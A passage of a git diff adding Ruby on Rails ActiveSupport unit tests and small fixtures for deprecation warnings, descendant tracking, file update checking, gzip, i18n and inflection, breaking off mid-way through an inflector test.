diff --git a/activesupport/test/deprecation_test.rb b/activesupport/test/deprecation_test.rb
new file mode 100644
index 0000000..9616e42
--- /dev/null
+++ b/activesupport/test/deprecation_test.rb
@@ -0,0 +1,345 @@
+require 'abstract_unit'
+
+class Deprecatee
+ def initialize
+ @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request)
+ @_request = 'there we go'
+ end
+ def request; @_request end
+ def old_request; @request end
+
+ def partially(foo = nil)
+ ActiveSupport::Deprecation.warn('calling with foo=nil is out') if foo.nil?
+ end
+
+ def not() 2 end
+ def none() 1 end
+ def one(a) a end
+ def multi(a,b,c) [a,b,c] end
+ deprecate :none, :one, :multi
+
+ def a; end
+ def b; end
+ def c; end
+ def d; end
+ def e; end
+ deprecate :a, :b, :c => :e, :d => "you now need to do something extra for this one"
+
+ def f=(v); end
+ deprecate :f=
+
+ module B
+ C = 1
+ end
+ A = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('Deprecatee::A', 'Deprecatee::B::C')
+end
+
+
+class DeprecationTest < ActiveSupport::TestCase
+ def setup
+ # Track the last warning.
+ @old_behavior = ActiveSupport::Deprecation.behavior
+ @last_message = nil
+ ActiveSupport::Deprecation.behavior = Proc.new { |message| @last_message = message }
+
+ @dtc = Deprecatee.new
+ end
+
+ def teardown
+ ActiveSupport::Deprecation.behavior = @old_behavior
+ end
+
+ def test_inline_deprecation_warning
+ assert_deprecated(/foo=nil/) do
+ @dtc.partially
+ end
+ end
+
+ def test_undeprecated
+ assert_not_deprecated do
+ assert_equal 2, @dtc.not
+ end
+ end
+
+ def test_deprecate_class_method
+ assert_deprecated(/none is deprecated/) do
+ assert_equal 1, @dtc.none
+ end
+
+ assert_deprecated(/one is deprecated/) do
+ assert_equal 1, @dtc.one(1)
+ end
+
+ assert_deprecated(/multi is deprecated/) do
+ assert_equal [1,2,3], @dtc.multi(1,2,3)
+ end
+ end
+
+ def test_deprecate_object
+ deprecated_object = ActiveSupport::Deprecation::DeprecatedObjectProxy.new(Object.new, ':bomb:')
+ assert_deprecated(/:bomb:/) { deprecated_object.to_s }
+ end
+
+ def test_nil_behavior_is_ignored
+ ActiveSupport::Deprecation.behavior = nil
+ assert_deprecated(/foo=nil/) { @dtc.partially }
+ end
+
+ def test_several_behaviors
+ @a, @b = nil, nil
+
+ ActiveSupport::Deprecation.behavior = [
+ Proc.new { |msg, callstack| @a = msg },
+ Proc.new { |msg, callstack| @b = msg }
+ ]
+
+ @dtc.partially
+ assert_match(/foo=nil/, @a)
+ assert_match(/foo=nil/, @b)
+ end
+
+ def test_default_stderr_behavior
+ ActiveSupport::Deprecation.behavior = :stderr
+ behavior = ActiveSupport::Deprecation.behavior.first
+
+ content = capture(:stderr) {
+ assert_nil behavior.call('Some error!', ['call stack!'])
+ }
+ assert_match(/Some error!/, content)
+ assert_match(/call stack!/, content)
+ end
+
+ def test_default_stderr_behavior_with_warn_method
+ ActiveSupport::Deprecation.behavior = :stderr
+
+ content = capture(:stderr) {
+ ActiveSupport::Deprecation.warn('Instance error!', ['instance call stack!'])
+ }
+
+ assert_match(/Instance error!/, content)
+ assert_match(/instance call stack!/, content)
+ end
+
+ def test_default_silence_behavior
+ ActiveSupport::Deprecation.behavior = :silence
+ behavior = ActiveSupport::Deprecation.behavior.first
+
+ stderr_output = capture(:stderr) {
+ assert_nil behavior.call('Some error!', ['call stack!'])
+ }
+ assert stderr_output.blank?
+ end
+
+ def test_deprecated_instance_variable_proxy
+ assert_not_deprecated { @dtc.request.size }
+
+ assert_deprecated('@request.size') { assert_equal @dtc.request.size, @dtc.old_request.size }
+ assert_deprecated('@request.to_s') { assert_equal @dtc.request.to_s, @dtc.old_request.to_s }
+ end
+
+ def test_deprecated_instance_variable_proxy_shouldnt_warn_on_inspect
+ assert_not_deprecated { assert_equal @dtc.request.inspect, @dtc.old_request.inspect }
+ end
+
+ def test_deprecated_constant_proxy
+ assert_not_deprecated { Deprecatee::B::C }
+ assert_deprecated('Deprecatee::A') { assert_equal Deprecatee::B::C, Deprecatee::A }
+ assert_not_deprecated { assert_equal Deprecatee::B::C.class, Deprecatee::A.class }
+ end
+
+ def test_assert_deprecation_without_match
+ assert_deprecated do
+ @dtc.partially
+ end
+ end
+
+ def test_assert_deprecated_matches_any_warning
+ assert_deprecated 'abc' do
+ ActiveSupport::Deprecation.warn 'abc'
+ ActiveSupport::Deprecation.warn 'def'
+ end
+ rescue MiniTest::Assertion
+ flunk 'assert_deprecated should match any warning in block, not just the last one'
+ end
+
+ def test_assert_not_deprecated_returns_result_of_block
+ assert_equal 123, assert_not_deprecated { 123 }
+ end
+
+ def test_assert_deprecated_returns_result_of_block
+ result = assert_deprecated('abc') do
+ ActiveSupport::Deprecation.warn 'abc'
+ 123
+ end
+ assert_equal 123, result
+ end
+
+ def test_assert_deprecated_warn_work_with_default_behavior
+ ActiveSupport::Deprecation.instance_variable_set('@behavior' , nil)
+ assert_deprecated('abc') do
+ ActiveSupport::Deprecation.warn 'abc'
+ end
+ end
+
+ def test_silence
+ ActiveSupport::Deprecation.silence do
+ assert_not_deprecated { @dtc.partially }
+ end
+
+ ActiveSupport::Deprecation.silenced = true
+ assert_not_deprecated { @dtc.partially }
+ ActiveSupport::Deprecation.silenced = false
+ end
+
+ def test_deprecation_without_explanation
+ assert_deprecated { @dtc.a }
+ assert_deprecated { @dtc.b }
+ assert_deprecated { @dtc.f = :foo }
+ end
+
+ def test_deprecation_with_alternate_method
+ assert_deprecated(/use e instead/) { @dtc.c }
+ end
+
+ def test_deprecation_with_explicit_message
+ assert_deprecated(/you now need to do something extra for this one/) { @dtc.d }
+ end
+
+ def test_deprecation_in_other_object
+ messages = []
+
+ klass = Class.new do
+ delegate :warn, :behavior=, to: ActiveSupport::Deprecation
+ end
+
+ o = klass.new
+ o.behavior = Proc.new { |message, callstack| messages << message }
+ assert_difference("messages.size") do
+ o.warn("warning")
+ end
+ end
+
+ def test_deprecated_method_with_custom_method_warning
+ deprecator = deprecator_with_messages
+
+ class << deprecator
+ private
+ def deprecated_method_warning(method, message)
+ "deprecator.deprecated_method_warning.#{method}"
+ end
+ end
+
+ deprecatee = Class.new do
+ def method
+ end
+ deprecate :method, deprecator: deprecator
+ end
+
+ deprecatee.new.method
+ assert deprecator.messages.first.match("DEPRECATION WARNING: deprecator.deprecated_method_warning.method")
+ end
+
+ def test_deprecate_with_custom_deprecator
+ custom_deprecator = mock('Deprecator') do
+ expects(:deprecation_warning)
+ end
+
+ klass = Class.new do
+ def method
+ end
+ deprecate :method, deprecator: custom_deprecator
+ end
+
+ klass.new.method
+ end
+
+ def test_deprecated_constant_with_deprecator_given
+ deprecator = deprecator_with_messages
+ klass = Class.new
+ klass.const_set(:OLD, ActiveSupport::Deprecation::DeprecatedConstantProxy.new('klass::OLD', 'Object', deprecator) )
+ assert_difference("deprecator.messages.size") do
+ klass::OLD.to_s
+ end
+ end
+
+ def test_deprecated_instance_variable_with_instance_deprecator
+ deprecator = deprecator_with_messages
+
+ klass = Class.new() do
+ def initialize(deprecator)
+ @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
+ @_request = :a_request
+ end
+ def request; @_request end
+ def old_request; @request end
+ end
+
+ assert_difference("deprecator.messages.size") { klass.new(deprecator).old_request.to_s }
+ end
+
+ def test_deprecated_instance_variable_with_given_deprecator
+ deprecator = deprecator_with_messages
+
+ klass = Class.new do
+ define_method(:initialize) do
+ @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
+ @_request = :a_request
+ end
+ def request; @_request end
+ def old_request; @request end
+ end
+
+ assert_difference("deprecator.messages.size") { klass.new.old_request.to_s }
+ end
+
+ def test_delegate_deprecator_instance
+ klass = Class.new do
+ attr_reader :last_message
+ delegate :warn, :behavior=, to: ActiveSupport::Deprecation
+
+ def initialize
+ self.behavior = [Proc.new { |message| @last_message = message }]
+ end
+
+ def deprecated_method
+ warn(deprecated_method_warning(:deprecated_method, "You are calling deprecated method"))
+ end
+
+ private
+ def deprecated_method_warning(method_name, message = nil)
+ message || "#{method_name} is deprecated and will be removed from This Library"
+ end
+ end
+
+ object = klass.new
+ object.deprecated_method
+ assert_match(/You are calling deprecated method/, object.last_message)
+ end
+
+ def test_default_gem_name
+ deprecator = ActiveSupport::Deprecation.new
+
+ deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
+ assert_match(/is deprecated and will be removed from Rails/, message)
+ end
+ end
+
+ def test_custom_gem_name
+ deprecator = ActiveSupport::Deprecation.new('2.0', 'Custom')
+
+ deprecator.send(:deprecated_method_warning, :deprecated_method, "You are calling deprecated method").tap do |message|
+ assert_match(/is deprecated and will be removed from Custom/, message)
+ end
+ end
+
+ private
+ def deprecator_with_messages
+ klass = Class.new(ActiveSupport::Deprecation)
+ deprecator = klass.new
+ deprecator.behavior = Proc.new{|message, callstack| deprecator.messages << message}
+ def deprecator.messages
+ @messages ||= []
+ end
+ deprecator
+ end
+end
diff --git a/activesupport/test/descendants_tracker_test_cases.rb b/activesupport/test/descendants_tracker_test_cases.rb
new file mode 100644
index 0000000..69e0469
--- /dev/null
+++ b/activesupport/test/descendants_tracker_test_cases.rb
@@ -0,0 +1,65 @@
+require 'set'
+
+module DescendantsTrackerTestCases
+ class Parent
+ extend ActiveSupport::DescendantsTracker
+ end
+
+ class Child1 < Parent
+ end
+
+ class Child2 < Parent
+ end
+
+ class Grandchild1 < Child1
+ end
+
+ class Grandchild2 < Child1
+ end
+
+ ALL = [Parent, Child1, Child2, Grandchild1, Grandchild2]
+
+ def test_descendants
+ assert_equal_sets [Child1, Grandchild1, Grandchild2, Child2], Parent.descendants
+ assert_equal_sets [Grandchild1, Grandchild2], Child1.descendants
+ assert_equal_sets [], Child2.descendants
+ end
+
+ def test_direct_descendants
+ assert_equal_sets [Child1, Child2], Parent.direct_descendants
+ assert_equal_sets [Grandchild1, Grandchild2], Child1.direct_descendants
+ assert_equal_sets [], Child2.direct_descendants
+ end
+
+ def test_clear
+ mark_as_autoloaded(*ALL) do
+ ActiveSupport::DescendantsTracker.clear
+ ALL.each do |k|
+ assert ActiveSupport::DescendantsTracker.descendants(k).empty?
+ end
+ end
+ end
+
+ protected
+
+ def assert_equal_sets(expected, actual)
+ assert_equal Set.new(expected), Set.new(actual)
+ end
+
+ def mark_as_autoloaded(*klasses)
+ # If ActiveSupport::Dependencies is not loaded, forget about autoloading.
+ # This allows using AS::DescendantsTracker without AS::Dependencies.
+ if defined? ActiveSupport::Dependencies
+ old_autoloaded = ActiveSupport::Dependencies.autoloaded_constants.dup
+ ActiveSupport::Dependencies.autoloaded_constants = klasses.map(&:name)
+ end
+
+ old_descendants = ActiveSupport::DescendantsTracker.class_eval("@@direct_descendants").dup
+ old_descendants.each { |k, v| old_descendants[k] = v.dup }
+
+ yield
+ ensure
+ ActiveSupport::Dependencies.autoloaded_constants = old_autoloaded if defined? ActiveSupport::Dependencies
+ ActiveSupport::DescendantsTracker.class_eval("@@direct_descendants").replace(old_descendants)
+ end
+end
diff --git a/activesupport/test/descendants_tracker_with_autoloading_test.rb b/activesupport/test/descendants_tracker_with_autoloading_test.rb
new file mode 100644
index 0000000..a2ae066
--- /dev/null
+++ b/activesupport/test/descendants_tracker_with_autoloading_test.rb
@@ -0,0 +1,34 @@
+require 'abstract_unit'
+require 'active_support/descendants_tracker'
+require 'active_support/dependencies'
+require 'descendants_tracker_test_cases'
+
+class DescendantsTrackerWithAutoloadingTest < ActiveSupport::TestCase
+ include DescendantsTrackerTestCases
+
+ def test_clear_with_autoloaded_parent_children_and_grandchildren
+ mark_as_autoloaded(*ALL) do
+ ActiveSupport::DescendantsTracker.clear
+ ALL.each do |k|
+ assert ActiveSupport::DescendantsTracker.descendants(k).empty?
+ end
+ end
+ end
+
+ def test_clear_with_autoloaded_children_and_grandchildren
+ mark_as_autoloaded Child1, Grandchild1, Grandchild2 do
+ ActiveSupport::DescendantsTracker.clear
+ assert_equal_sets [Child2], Parent.descendants
+ assert_equal_sets [], Child2.descendants
+ end
+ end
+
+ def test_clear_with_autoloaded_grandchildren
+ mark_as_autoloaded Grandchild1, Grandchild2 do
+ ActiveSupport::DescendantsTracker.clear
+ assert_equal_sets [Child1, Child2], Parent.descendants
+ assert_equal_sets [], Child1.descendants
+ assert_equal_sets [], Child2.descendants
+ end
+ end
+end
diff --git a/activesupport/test/descendants_tracker_without_autoloading_test.rb b/activesupport/test/descendants_tracker_without_autoloading_test.rb
new file mode 100644
index 0000000..74669aa
--- /dev/null
+++ b/activesupport/test/descendants_tracker_without_autoloading_test.rb
@@ -0,0 +1,7 @@
+require 'abstract_unit'
+require 'active_support/descendants_tracker'
+require 'descendants_tracker_test_cases'
+
+class DescendantsTrackerWithoutAutoloadingTest < ActiveSupport::TestCase
+ include DescendantsTrackerTestCases
+end
diff --git a/activesupport/test/empty_bool.rb b/activesupport/test/empty_bool.rb
new file mode 100644
index 0000000..005b352
--- /dev/null
+++ b/activesupport/test/empty_bool.rb
@@ -0,0 +1,7 @@
+class EmptyTrue
+ def empty?() true; end
+end
+
+class EmptyFalse
+ def empty?() false; end
+end
diff --git a/activesupport/test/file_update_checker_test.rb b/activesupport/test/file_update_checker_test.rb
new file mode 100644
index 0000000..bd1df0f
--- /dev/null
+++ b/activesupport/test/file_update_checker_test.rb
@@ -0,0 +1,112 @@
+require 'abstract_unit'
+require 'fileutils'
+require 'thread'
+
+MTIME_FIXTURES_PATH = File.expand_path("../fixtures", __FILE__)
+
+class FileUpdateCheckerWithEnumerableTest < ActiveSupport::TestCase
+ FILES = %w(1.txt 2.txt 3.txt)
+
+ def setup
+ FileUtils.mkdir_p("tmp_watcher")
+ FileUtils.touch(FILES)
+ end
+
+ def teardown
+ FileUtils.rm_rf("tmp_watcher")
+ FileUtils.rm_rf(FILES)
+ end
+
+ def test_should_not_execute_the_block_if_no_paths_are_given
+ i = 0
+ checker = ActiveSupport::FileUpdateChecker.new([]){ i += 1 }
+ checker.execute_if_updated
+ assert_equal 0, i
+ end
+
+ def test_should_not_invoke_the_block_if_no_file_has_changed
+ i = 0
+ checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
+ 5.times { assert !checker.execute_if_updated }
+ assert_equal 0, i
+ end
+
+ def test_should_invoke_the_block_if_a_file_has_changed
+ i = 0
+ checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
+ sleep(1)
+ FileUtils.touch(FILES)
+ assert checker.execute_if_updated
+ assert_equal 1, i
+ end
+
+ def test_should_be_robust_enough_to_handle_deleted_files
+ i = 0
+ checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
+ FileUtils.rm(FILES)
+ assert checker.execute_if_updated
+ assert_equal 1, i
+ end
+
+ def test_should_be_robust_to_handle_files_with_wrong_modified_time
+ i = 0
+ now = Time.now
+ time = Time.mktime(now.year + 1, now.month, now.day) # wrong mtime from the future
+ File.utime time, time, FILES[2]
+
+ checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
+
+ sleep(1)
+ FileUtils.touch(FILES[0..1])
+
+ assert checker.execute_if_updated
+ assert_equal 1, i
+ end
+
+ def test_should_cache_updated_result_until_execute
+ i = 0
+ checker = ActiveSupport::FileUpdateChecker.new(FILES){ i += 1 }
+ assert !checker.updated?
+
+ sleep(1)
+ FileUtils.touch(FILES)
+
+ assert checker.updated?
+ checker.execute
+ assert !checker.updated?
+ end
+
+ def test_should_invoke_the_block_if_a_watched_dir_changed_its_glob
+ i = 0
+ checker = ActiveSupport::FileUpdateChecker.new([], "tmp_watcher" => [:txt]){ i += 1 }
+ FileUtils.cd "tmp_watcher" do
+ FileUtils.touch(FILES)
+ end
+ assert checker.execute_if_updated
+ assert_equal 1, i
+ end
+
+ def test_should_not_invoke_the_block_if_a_watched_dir_changed_its_glob
+ i = 0
+ checker = ActiveSupport::FileUpdateChecker.new([], "tmp_watcher" => :rb){ i += 1 }
+ FileUtils.cd "tmp_watcher" do
+ FileUtils.touch(FILES)
+ end
+ assert !checker.execute_if_updated
+ assert_equal 0, i
+ end
+
+ def test_should_not_block_if_a_strange_filename_used
+ FileUtils.mkdir_p("tmp_watcher/valid,yetstrange,path,")
+ FileUtils.touch(FILES.map { |file_name| "tmp_watcher/valid,yetstrange,path,/#{file_name}" })
+
+ test = Thread.new do
+ ActiveSupport::FileUpdateChecker.new([],"tmp_watcher/valid,yetstrange,path," => :txt) { i += 1 }
+ Thread.exit
+ end
+ test.priority = -1
+ test.join(5)
+
+ assert !test.alive?
+ end
+end
diff --git a/activesupport/test/fixtures/autoload/another_class.rb b/activesupport/test/fixtures/autoload/another_class.rb
new file mode 100644
index 0000000..a240b3d
--- /dev/null
+++ b/activesupport/test/fixtures/autoload/another_class.rb
@@ -0,0 +1,2 @@
+class Fixtures::AnotherClass
+end
\ No newline at end of file
diff --git a/activesupport/test/fixtures/autoload/some_class.rb b/activesupport/test/fixtures/autoload/some_class.rb
new file mode 100644
index 0000000..13b3c73
--- /dev/null
+++ b/activesupport/test/fixtures/autoload/some_class.rb
@@ -0,0 +1,2 @@
+class Fixtures::Autoload::SomeClass
+end
\ No newline at end of file
diff --git a/activesupport/test/fixtures/custom.rb b/activesupport/test/fixtures/custom.rb
new file mode 100644
index 0000000..0eefce0
--- /dev/null
+++ b/activesupport/test/fixtures/custom.rb
@@ -0,0 +1,2 @@
+class Custom
+end
\ No newline at end of file
diff --git a/activesupport/test/fixtures/xml/jdom_doctype.dtd b/activesupport/test/fixtures/xml/jdom_doctype.dtd
new file mode 100644
index 0000000..8948049
--- /dev/null
+++ b/activesupport/test/fixtures/xml/jdom_doctype.dtd
@@ -0,0 +1 @@
+<!ENTITY a "external entity">
diff --git a/activesupport/test/fixtures/xml/jdom_entities.txt b/activesupport/test/fixtures/xml/jdom_entities.txt
new file mode 100644
index 0000000..0337fda
--- /dev/null
+++ b/activesupport/test/fixtures/xml/jdom_entities.txt
@@ -0,0 +1 @@
+<!ENTITY a "hello">
diff --git a/activesupport/test/fixtures/xml/jdom_include.txt b/activesupport/test/fixtures/xml/jdom_include.txt
new file mode 100644
index 0000000..239ca3a
--- /dev/null
+++ b/activesupport/test/fixtures/xml/jdom_include.txt
@@ -0,0 +1 @@
+include me
diff --git a/activesupport/test/gzip_test.rb b/activesupport/test/gzip_test.rb
new file mode 100644
index 0000000..0e3cf3b
--- /dev/null
+++ b/activesupport/test/gzip_test.rb
@@ -0,0 +1,33 @@
+require 'abstract_unit'
+require 'active_support/core_ext/object/blank'
+
+class GzipTest < ActiveSupport::TestCase
+ def test_compress_should_decompress_to_the_same_value
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World"))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", Zlib::NO_COMPRESSION))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", Zlib::BEST_SPEED))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", Zlib::BEST_COMPRESSION))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", nil, Zlib::FILTERED))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", nil, Zlib::HUFFMAN_ONLY))
+ assert_equal "Hello World", ActiveSupport::Gzip.decompress(ActiveSupport::Gzip.compress("Hello World", nil, nil))
+ end
+
+ def test_compress_should_return_a_binary_string
+ compressed = ActiveSupport::Gzip.compress('')
+
+ assert_equal Encoding.find('binary'), compressed.encoding
+ assert !compressed.blank?, "a compressed blank string should not be blank"
+ end
+
+ def test_compress_should_return_gzipped_string_by_compression_level
+ source_string = "Hello World"*100
+
+ gzipped_by_speed = ActiveSupport::Gzip.compress(source_string, Zlib::BEST_SPEED)
+ assert_equal 1, Zlib::GzipReader.new(StringIO.new(gzipped_by_speed)).level
+
+ gzipped_by_best_compression = ActiveSupport::Gzip.compress(source_string, Zlib::BEST_COMPRESSION)
+ assert_equal 9, Zlib::GzipReader.new(StringIO.new(gzipped_by_best_compression)).level
+
+ assert_equal true, (gzipped_by_best_compression.bytesize < gzipped_by_speed.bytesize)
+ end
+end
diff --git a/activesupport/test/i18n_test.rb b/activesupport/test/i18n_test.rb
new file mode 100644
index 0000000..5ef59b6
--- /dev/null
+++ b/activesupport/test/i18n_test.rb
@@ -0,0 +1,105 @@
+require 'abstract_unit'
+require 'active_support/time'
+require 'active_support/core_ext/array/conversions'
+
+class I18nTest < ActiveSupport::TestCase
+ def setup
+ @date = Date.parse("2008-7-2")
+ @time = Time.utc(2008, 7, 2, 16, 47, 1)
+ end
+
+ def test_time_zone_localization_with_default_format
+ now = Time.local(2000)
+ assert_equal now.strftime("%a, %d %b %Y %H:%M:%S %z"), I18n.localize(now)
+ end
+
+ def test_date_localization_should_use_default_format
+ assert_equal @date.strftime("%Y-%m-%d"), I18n.localize(@date)
+ end
+
+ def test_date_localization_with_default_format
+ assert_equal @date.strftime("%Y-%m-%d"), I18n.localize(@date, :format => :default)
+ end
+
+ def test_date_localization_with_short_format
+ assert_equal @date.strftime("%b %d"), I18n.localize(@date, :format => :short)
+ end
+
+ def test_date_localization_with_long_format
+ assert_equal @date.strftime("%B %d, %Y"), I18n.localize(@date, :format => :long)
+ end
+
+ def test_time_localization_should_use_default_format
+ assert_equal @time.strftime("%a, %d %b %Y %H:%M:%S %z"), I18n.localize(@time)
+ end
+
+ def test_time_localization_with_default_format
+ assert_equal @time.strftime("%a, %d %b %Y %H:%M:%S %z"), I18n.localize(@time, :format => :default)
+ end
+
+ def test_time_localization_with_short_format
+ assert_equal @time.strftime("%d %b %H:%M"), I18n.localize(@time, :format => :short)
+ end
+
+ def test_time_localization_with_long_format
+ assert_equal @time.strftime("%B %d, %Y %H:%M"), I18n.localize(@time, :format => :long)
+ end
+
+ def test_day_names
+ assert_equal Date::DAYNAMES, I18n.translate(:'date.day_names')
+ end
+
+ def test_abbr_day_names
+ assert_equal Date::ABBR_DAYNAMES, I18n.translate(:'date.abbr_day_names')
+ end
+
+ def test_month_names
+ assert_equal Date::MONTHNAMES, I18n.translate(:'date.month_names')
+ end
+
+ def test_abbr_month_names
+ assert_equal Date::ABBR_MONTHNAMES, I18n.translate(:'date.abbr_month_names')
+ end
+
+ def test_date_order
+ assert_equal %w(year month day), I18n.translate(:'date.order')
+ end
+
+ def test_time_am
+ assert_equal 'am', I18n.translate(:'time.am')
+ end
+
+ def test_time_pm
+ assert_equal 'pm', I18n.translate(:'time.pm')
+ end
+
+ def test_words_connector
+ assert_equal ', ', I18n.translate(:'support.array.words_connector')
+ end
+
+ def test_two_words_connector
+ assert_equal ' and ', I18n.translate(:'support.array.two_words_connector')
+ end
+
+ def test_last_word_connector
+ assert_equal ', and ', I18n.translate(:'support.array.last_word_connector')
+ end
+
+ def test_to_sentence
+ default_two_words_connector = I18n.translate(:'support.array.two_words_connector')
+ default_last_word_connector = I18n.translate(:'support.array.last_word_connector')
+ assert_equal 'a, b, and c', %w[a b c].to_sentence
+ I18n.backend.store_translations 'en', :support => { :array => { :two_words_connector => ' & ' } }
+ assert_equal 'a & b', %w[a b].to_sentence
+ I18n.backend.store_translations 'en', :support => { :array => { :last_word_connector => ' and ' } }
+ assert_equal 'a, b and c', %w[a b c].to_sentence
+ ensure
+ I18n.backend.store_translations 'en', :support => { :array => { :two_words_connector => default_two_words_connector } }
+ I18n.backend.store_translations 'en', :support => { :array => { :last_word_connector => default_last_word_connector } }
+ end
+
+ def test_to_sentence_with_empty_i18n_store
+ I18n.backend.store_translations 'empty', {}
+ assert_equal 'a, b, and c', %w[a b c].to_sentence(locale: 'empty')
+ end
+end
diff --git a/activesupport/test/inflector_test.rb b/activesupport/test/inflector_test.rb
new file mode 100644
index 0000000..22cb61f
--- /dev/null
+++ b/activesupport/test/inflector_test.rb
@@ -0,0 +1,502 @@
+require 'abstract_unit'
+require 'active_support/inflector'
+
+require 'inflector_test_cases'
+require 'constantize_test_cases'
+
+class InflectorTest < ActiveSupport::TestCase
+ include InflectorTestCases
+ include ConstantizeTestCases
+
+ def test_pluralize_plurals
+ assert_equal "plurals", ActiveSupport::Inflector.pluralize("plurals")
+ assert_equal "Plurals", ActiveSupport::Inflector.pluralize("Plurals")
+ end
+
+ def test_pluralize_empty_string
+ assert_equal "", ActiveSupport::Inflector.pluralize("")
+ end
+
+ ActiveSupport::Inflector.inflections.uncountable.each do |word|
+ define_method "test_uncountability_of_#{word}" do
+ assert_equal word, ActiveSupport::Inflector.singularize(word)
+ assert_equal word, ActiveSupport::Inflector.pluralize(word)
+ assert_equal ActiveSupport::Inflector.pluralize(word), ActiveSupport::Inflector.singularize(word)
+ end
+ end
+
+ def test_uncountable_word_is_not_greedy
+ with_dup do
+ uncountable_word = "ors"
+ countable_word = "sponsor"
+
+ ActiveSupport::Inflector.inflections.uncountable << uncountable_word
+
+ assert_equal uncountable_word, ActiveSupport::Inflector.singularize(uncountable_word)
+ assert_equal uncountable_word, ActiveSupport::Inflector.pluralize(uncountable_word)
+ assert_equal ActiveSupport::Inflector.pluralize(uncountable_word), ActiveSupport::Inflector.singularize(uncountable_word)
+
+ assert_equal "sponsor", ActiveSupport::Inflector.singularize(countable_word)
+ assert_equal "sponsors", ActiveSupport::Inflector.pluralize(countable_word)
+ assert_equal "sponsor", ActiveSupport::Inflector.singularize(ActiveSupport::Inflector.pluralize(countable_word))
+ end
+ end
+
+ SingularToPlural.each do |singular, plural|
+ define_method "test_pluralize_singular_#{singular}" do
+ assert_equal(plural, ActiveSupport::Inflector.pluralize(singular))
+ assert_equal(plural.capitalize, ActiveSupport::Inflector.pluralize(singular.capitalize))
+ end
+ end
+
+ SingularToPlural.each do |singular, plural|
+ define_method "test_singularize_plural_#{plural}" do
+ assert_equal(singular, ActiveSupport::Inflector.singularize(plural))
+ assert_equal(singular.capitalize, ActiveSupport::Inflector.singularize(plural.capitalize))
+ end
+ end
+
+ SingularToPlural.each do |singular, plural|
+ define_method "test_pluralize_plural_#{plural}" do
+ assert_equal(plural, ActiveSupport::Inflector.pluralize(plural))
+ assert_equal(plural.capitalize, ActiveSupport::Inflector.pluralize(plural.capitalize))
+ end
+
+ define_method "test_singularize_singular_#{singular}" do
+ assert_equal(singular, ActiveSupport::Inflector.singularize(singular))
+ assert_equal(singular.capitalize, ActiveSupport::Inflector.singularize(singular.capitalize))
+ end
+ end
+
+
+ def test_overwrite_previous_inflectors
+ assert_equal("series", ActiveSupport::Inflector.singularize("series"))
+ ActiveSupport::Inflector.inflections.singular "series", "serie"
+ assert_equal("serie", ActiveSupport::Inflector.singularize("series"))
+ ActiveSupport::Inflector.inflections.uncountable "series" # Return to normal
+ end
+
+ MixtureToTitleCase.each do |before, titleized|
+ define_method "test_titleize_#{before}" do
+ assert_equal(titleized, ActiveSupport::Inflector.titleize(before))
+ end
+ end
+
+ def test_camelize
+ CamelToUnderscore.each do |camel, underscore|
+ assert_equal(camel, ActiveSupport::Inflector.camelize(underscore))
+ end
+ end
+
+ def test_camelize_with_lower_downcases_the_first_letter
+ assert_equal('capital', ActiveSupport::Inflector.camelize('Capital', false))
+ end
+
+ def test_camelize_with_underscores
+ assert_equal("CamelCase", ActiveSupport::Inflector.camelize('Camel_Case'))
+ end
+
+ def test_acronyms
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.acronym("API")
+ inflect.acronym("HTML")
+ inflect.acronym("HTTP")
+ inflect.acronym("RESTful")
+ inflect.acronym("W3C")
+ inflect.acronym("PhD")
+ inflect.acronym("RoR")
+ inflect.acronym("SSL")
+ end
+
+ # camelize underscore humanize titleize
+ [
+ ["API", "api", "API", "API"],
+ ["APIController", "api_controller", "API controller", "API Controller"],
+ ["Nokogiri::HTML", "nokogiri/html", "Nokogiri/HTML", "Nokogiri/HTML"],
+ ["HTTPAPI", "http_api", "HTTP API", "HTTP API"],
+ ["HTTP::Get", "http/get", "HTTP/get", "HTTP/Get"],
+ ["SSLError", "ssl_error", "SSL error", "SSL Error"],
+ ["RESTful", "restful", "RESTful", "RESTful"],
+ ["RESTfulController", "restful_controller", "RESTful controller", "RESTful Controller"],
+ ["IHeartW3C", "i_heart_w3c", "I heart W3C", "I Heart W3C"],
+ ["PhDRequired", "phd_required", "PhD required", "PhD Required"],
+ ["IRoRU", "i_ror_u", "I RoR u", "I RoR U"],
+ ["RESTfulHTTPAPI", "restful_http_api", "RESTful HTTP API", "RESTful HTTP API"],
+
+ # misdirection
+ ["Capistrano", "capistrano", "Capistrano", "Capistrano"],
+ ["CapiController", "capi_controller", "Capi controller", "Capi Controller"],
+ ["HttpsApis", "https_apis", "Https apis", "Https Apis"],
+ ["Html5", "html5", "Html5", "Html5"],
+ ["Restfully", "restfully", "Restfully", "Restfully"],
+ ["RoRails", "ro_rails", "Ro rails", "Ro Rails"]
+ ].each do |camel, under, human, title|
+ assert_equal(camel, ActiveSupport::Inflector.camelize(under))
+ assert_equal(camel, ActiveSupport::Inflector.camelize(camel))
+ assert_equal(under, ActiveSupport::Inflector.underscore(under))
+ assert_equal(under, ActiveSupport::Inflector.underscore(camel))
+ assert_equal(title, ActiveSupport::Inflector.titleize(under))
+ assert_equal(title, ActiveSupport::Inflector.titleize(camel))
+ assert_equal(human, ActiveSupport::Inflector.humanize(under))
+ end
+ end
+
+ def test_acronym_override
+ ActiveSupport::Inflector.inflections do |inflect|
+ inflect.acronym("API")
+ inflect.acronym("LegacyApi")
+ end
+
+ assert_equal("LegacyApi", ActiveSupport::Inflector.camelize("legacyapi"))
